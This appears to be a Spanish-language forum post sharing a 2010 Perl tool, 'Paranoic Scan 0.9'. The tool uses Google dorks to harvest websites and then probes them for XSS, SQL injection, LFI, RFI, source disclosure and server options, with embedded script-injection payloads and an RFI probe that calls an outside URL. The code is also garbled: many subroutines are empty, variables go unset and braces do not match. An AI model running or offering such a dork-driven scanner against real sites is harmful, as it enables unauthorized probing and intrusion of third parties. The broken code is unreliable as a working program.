- XSS POST & GET
- SQL POST & GET
Código
#!usr/bin/perl #Paranoic Scan 0.9 Updated #(c)0ded by Doddy H 2010 # #Search in google with a dork #Scan type : # #XSS #Full Source Discloure #LFI #RFI #SQL GET & POST #MSSQL #Oracle #Jet Database #Find HTTP Options y Server nAME # # use LWP::UserAgent; use HTML::LinkExtor; use HTML::Form; use IO::Socket; my $nave = LWP::UserAgent->new; $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"); $nave->timeout(5); installer(); sta(); sub sta { sub head { @@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @ @@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@ @@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @ ); } &menu; sub menu { &head; if ($op =~/a/ig) { my @paginas = repes(cortar(savewords($word))); my $option = &men; scan($option,@paginas); } elsif ($op=~/b/ig) { my $option = &men; my @paginas = &google($dork,$pag); scan($option,@paginas); } else { &menu; } } sub scan { my ($option,@webs) = @_; for(@webs) { if ($option=~/S/ig) { scansql($_); } if ($option=~/L/ig) { lfi($_); } if ($option=~/R/ig) { rfi($_); } if ($option=~/F/ig) { fsd($_); } if ($option=~/X/ig) { scanxss($_); } if ($option=~/M/ig) { mssql($_); } if ($option=~/J/ig) { access($_); } if ($option=~/O/ig) { oracle($_); } if ($option=~/HT/ig) { http($_); } if ($option=~/A/ig) { scansql($_); scanxss($_); mssql($_); access($_); oracle($_); lfi($_); rfi($_); fsd($_); http($_); } } } &finish; } sub toma { } sub savefile { close SAVE; } sub finish { <STDIN>; sta(); } sub google { my($a,$b) = @_; for ($pages=10;$pages<=$b;$pages=$pages+10) { $code = toma("http://www.google.com.ar/search?hl=&q=".$a."&start=$pages"); my @links = get_links($code); for my $l(@links) { if ($l =~/webcache.googleusercontent.com/) { } } } for(@url) { if ($_ =~/cache:(.*?):(.*?)\+/) { } } my @founds = repes(cortar(@founds)); } sub http { my ($scheme, $auth, $path, $query, $frag) = uri_split($_[0]); my $socket = IO::Socket::INET->new( PeerAddr=>$auth, PeerPort=>"80", Proto=>"tcp"); if ($resultado=~/Server:(.*)/g) { my $server = $1; savefile("http-logs.txt","[+] Page : $auth"."\n"); savefile("http-logs.txt","[+] Server : ".$server."\n"); } if ($resultado=~/Allow: (.*)/g) { my $options = $1; savefile("http-logs.txt","[+] Options : ".$options."\n"); } $socket->close; } sub scanxss { my @testar = HTML::Form->parse(toma($page),"/"); my @botones_names; my @botones_values; my @orden; my @pa = ("<script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>",'"><script>alert(String.fromCharCode(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111))</script>'); my @get_founds; my @post_founds; my @ordenuno; my @ordendos; my $contador_forms = 0; my $valor = "doddyhackman"; for my $test(@testar) { $contador_forms++; if ($test->method eq "POST") { my @inputs = $test->inputs; for my $in(@inputs) { if ($in->type eq "submit") { if ($in->name eq "") { } } else { }} my @preuno = @ordenuno; my @predos = @ordendos; my $codeuno = $nave->post($page,\@preuno)->content; my $codedos = $nave->post($page,\@predos)->content; if ($codeuno=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig or $codedos=~/<script>alert\(String.fromCharCode\(101,115,116,111,121,100,101,110,117,101,118,111,101,110,101,115,116,111\)\)<\/script>/ig) { if ($test->attr(name) eq "" or $test->attr(name) eq " ") { } else { }}} } else { #Fin de metodo POST my @inputs = $test->inputs; for my $in(@inputs) { if ($in->type eq "submit") { if ($in->name eq "") { } } else { $orden.=''.$in->name.'='.$valor.'&'; }} my $partedos = "&".$botones_names[$n]."=".$botones_values[$n]; my $final = $orden.$partedos; for my $strin(@pa) { $code = toma($page."?".$final); my $strin = "\Q$strin\E"; if ($code=~/$strin/) { }}}}} my @get_founds = repes(@get_founds); for(@get_founds) { savefile("xss-logs.txt","[+] XSS Found : $_"); }} my @post_founds = repes(@post_founds); for my $t(@post_founds) { if ($t =~/^\d+$/) { savefile("xss-logs.txt","[+] XSS : Form $t in $page"); }}}} sub scansql { my $copia = $page; $co = toma($page."'"); if ($co=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $co=~ /mysql_free_result/ig || $co =~ /mysql_fetch_assoc/ig ||$co =~ /mysql_num_rows/ig || $co =~ /mysql_fetch_array/ig || $co =~/mysql_fetch_assoc/ig || $co=~/mysql_query/ig || $co=~/mysql_free_result/ig || $co=~/equivocado en su sintax/ig || $co=~/You have an error in your SQL syntax/ig || $co=~/Call to undefined function/ig) { savefile("sql-logs.txt","[+] SQL : $page"); } if ($page=~/(.*)\?(.*)/) { my $page = $1; my @testar = HTML::Form->parse(toma($page),"/"); my @botones_names; my @botones_values; my @orden; my @get_founds; my @post_founds; my @ordenuno; my @ordendos; my $contador_forms = 0; my $valor = "doddyhackman"; for my $test(@testar) { $contador_forms++; if ($test->method eq "POST") { my @inputs = $test->inputs; for my $in(@inputs) { if ($in->type eq "submit") { if ($in->name eq "") { } } else { }} my @preuno = @ordenuno; my $code = $nave->post($page,\@preuno)->content; if ($code=~ /supplied argument is not a valid MySQL result resource in <b>(.*)<\/b> on line /ig || $code=~ /mysql_free_result/ig || $code =~ /mysql_fetch_assoc/ig ||$code =~ /mysql_num_rows/ig || $code =~ /mysql_fetch_array/ig || $code =~/mysql_fetch_assoc/ig || $code=~/mysql_query/ig || $code=~/mysql_free_result/ig || $code=~/equivocado en su sintax/ig || $code=~/You have an error in your SQL syntax/ig || $code=~/Call to undefined function/ig) { if ($test->attr(name) eq "" or $test->attr(name) eq " ") { } else { }}}} my @post_founds = repes(@post_founds); for my $t(@post_founds) { if ($t =~/^\d+$/) { savefile("sql-logs.txt","[+] SQLI : Form $t in $page"); }}}}}} sub access { $code1 = toma($page."'"); if ($code1=~/Microsoft JET Database/ig or $code1=~/ODBC Microsoft Access Driver/ig) { savefile("jetdb-logs.txt",$page); } } sub mssql { $code1 = toma($page."'"); if ($code1=~/ODBC SQL Server Driver/ig) { savefile("mssql-logs.txt",$page); } } sub oracle { $code1 = toma($page."'"); if ($code1=~/Microsoft OLE DB Provider for Oracle/ig) { savefile("oracle-logs.txt",$page); } } sub rfi { $code1 = toma($page."http:/www.supertangas.com/"); if ($code1=~/Los mejores TANGAS de la red/ig) { #Esto es conocimiento de verdad xDDD savefile("rfi-logs.txt",$page); }} sub lfi { $code1 = toma($page."'"); if ($code1=~/No such file or directory in <b>(.*)<\/b> on line/ig) { savefile("lfi-logs.txt",$page); }} sub fsd { my ($scheme, $auth, $path, $query, $frag) = uri_split($page); if ($path=~/\/(.*)$/) { my $me = $1; $code1 = toma($page.$me); if ($code1=~/header\((.*)Content-Disposition: attachment;/ig) { savefile("fpd-logs.txt",$page); }}} sub repes { my @limpio; foreach $test(@_) { } } sub savewords { @words = <FILE>; close FILE; for(@words) { } } sub men { } sub cortar { my @nuevo; for(@_) { if ($_ =~/=/) { } else { }} } sub get_links { $test = HTML::LinkExtor->new(\&agarrar)->parse($_[0]); sub agarrar { my ($a,%b) = @_; } } sub installer { unless (-d "logs/") { } } # ¿ The End ?
Ejemplo de uso
Código:
@@@@@ @ @@@@ @ @@ @@@ @@@ @@@ @@@@ @@@ @@@@ @ @@ @@@
@ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @@ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @@ @
@@@ @ @ @@@ @ @ @ @ @ @ @ @ @ @@ @ @ @ @ @ @
@ @@@@@ @ @ @@@@@ @ @ @ @ @ @ @ @ @ @@@@@ @ @ @
@ @ @ @ @ @ @ @ @@ @ @ @ @ @ @ @ @ @ @ @ @ @@
@@@ @@@ @@@@@@ @@@@ @@@@@@ @ @@@ @@@ @@@ @@@ @@@ @@@ @@@@@@ @
[a] : Scan a File
[b] : Search in google and scan the webs
[option] :